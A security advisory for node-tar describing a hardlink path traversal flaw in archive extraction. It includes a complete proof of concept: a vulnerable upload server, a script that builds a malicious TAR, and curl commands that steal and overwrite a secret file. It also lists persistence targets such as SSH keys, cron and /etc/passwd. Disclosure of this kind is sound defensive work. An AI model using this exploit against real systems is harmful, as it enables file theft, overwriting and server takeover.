node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal

### Summary node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. ### Details The vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently: **Security check in `[STRIPABSOLUTEPATH]`:** ```javascript const entryDir = path.posix.dirname(entry.path); const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath)); if (resolved.startsWith('../')) { /* block */ } ``` **Hardlink creation in `[HARDLINK]`:** ```javascript const linkpath = path.resolve(this.cwd, entry.linkpath); fs.linkSync(linkpath, dest); ``` **Example:** An application extracts a TAR using `tar.extract({ cwd: '/var/app/uploads/' })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`. - **Security check** resolves the linkpath relative to the entry's parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**. - **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system's `/etc/passwd`. The security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape. ### PoC #### Setup Create a new directory with these files: ``` poc/ ├── package.json ├── secret.txt ← sensitive file (target) ├── server.js ← vulnerable server ├── create-malicious-tar.js ├── verify.js └── uploads/ ← created automatically by server.js └── (extracted files go here) ``` **package.json** ```json { "dependencies": { "tar": "^7.5.0" } } ``` **secret.txt** (sensitive file outside uploads/) ``` DATABASE_PASSWORD=supersecret123 ``` **server.js** (vulnerable file upload server) ```javascript const http = require('http'); const fs = require('fs'); const path = require('path'); const tar = require('tar'); const PORT = 3000; const UPLOAD_DIR = path.join(__dirname, 'uploads'); fs.mkdirSync(UPLOAD_DIR, { recursive: true }); http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/upload') { const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', async () => { fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks)); await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR }); res.end('Extracted\n'); }); } else if (req.method === 'GET' && req.url === '/read') { // Simulates app serving extracted files (e.g., file download, static assets) const targetPath = path.join(UPLOAD_DIR, 'd', 'x'); if (fs.existsSync(targetPath)) { res.end(fs.readFileSync(targetPath)); } else { res.end('File not found\n'); } } else if (req.method === 'POST' && req.url === '/write') { // Simulates app writing to extracted file (e.g., config update, log append) const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', () => { const targetPath = path.join(UPLOAD_DIR, 'd', 'x'); if (fs.existsSync(targetPath)) { fs.writeFileSync(targetPath, Buffer.concat(chunks)); res.end('Written\n'); } else { res.end('File not found\n'); } }); } else { res.end('POST /upload, GET /read, or POST /write\n'); } }).listen(PORT, () => console.log(`http://localhost:${PORT}`)); ``` **create-malicious-tar.js** (attacker creates exploit TAR) ```javascript const fs = require('fs'); function tarHeader(name, type, linkpath = '', size = 0) { const b = Buffer.alloc(512, 0); b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108); b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124); b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136); b.write(' ', 148); b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48; if (linkpath) b.write(linkpath, 157); b.write('ustar\x00', 257); b.write('00', 263); let sum = 0; for (let i = 0; i < 512; i++) sum += b[i]; b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148); return b; } // Hardlink escapes to parent directory's secret.txt fs.writeFileSync('malicious.tar', Buffer.concat([ tarHeader('d/', 'dir'), tarHeader('d/x', 'link', '../secret.txt'), Buffer.alloc(1024) ])); console.log('Created malicious.tar'); ``` #### Run ```bash # Setup npm install echo "DATABASE_PASSWORD=supersecret123" > secret.txt # Terminal 1: Start server node server.js # Terminal 2: Execute attack node create-malicious-tar.js curl -X POST --data-binary @malicious.tar http://localhost:3000/upload # READ ATTACK: Steal secret.txt content via the hardlink curl http://localhost:3000/read # Returns: DATABASE_PASSWORD=supersecret123 # WRITE ATTACK: Overwrite secret.txt through the hardlink curl -X POST -d "PWNED" http://localhost:3000/write # Confirm secret.txt was modified cat secret.txt ``` ### Impact An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables: **Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process. **Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory. ### Remote Code Execution / Server Takeover | Attack Vector | Target File | Result | |--------------|-------------|--------| | SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server | | Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution | | Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login | | Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests | | Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart | | User Creation | `/etc/passwd` (if running as root) | Add new privileged user | ## Data Exfiltration & Corruption 1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations 2. **Read sensitive files** by creating hardlinks that point outside extraction directory 3. **Corrupt databases** and application state 4. **Steal credentials** from config files, `.env`, secrets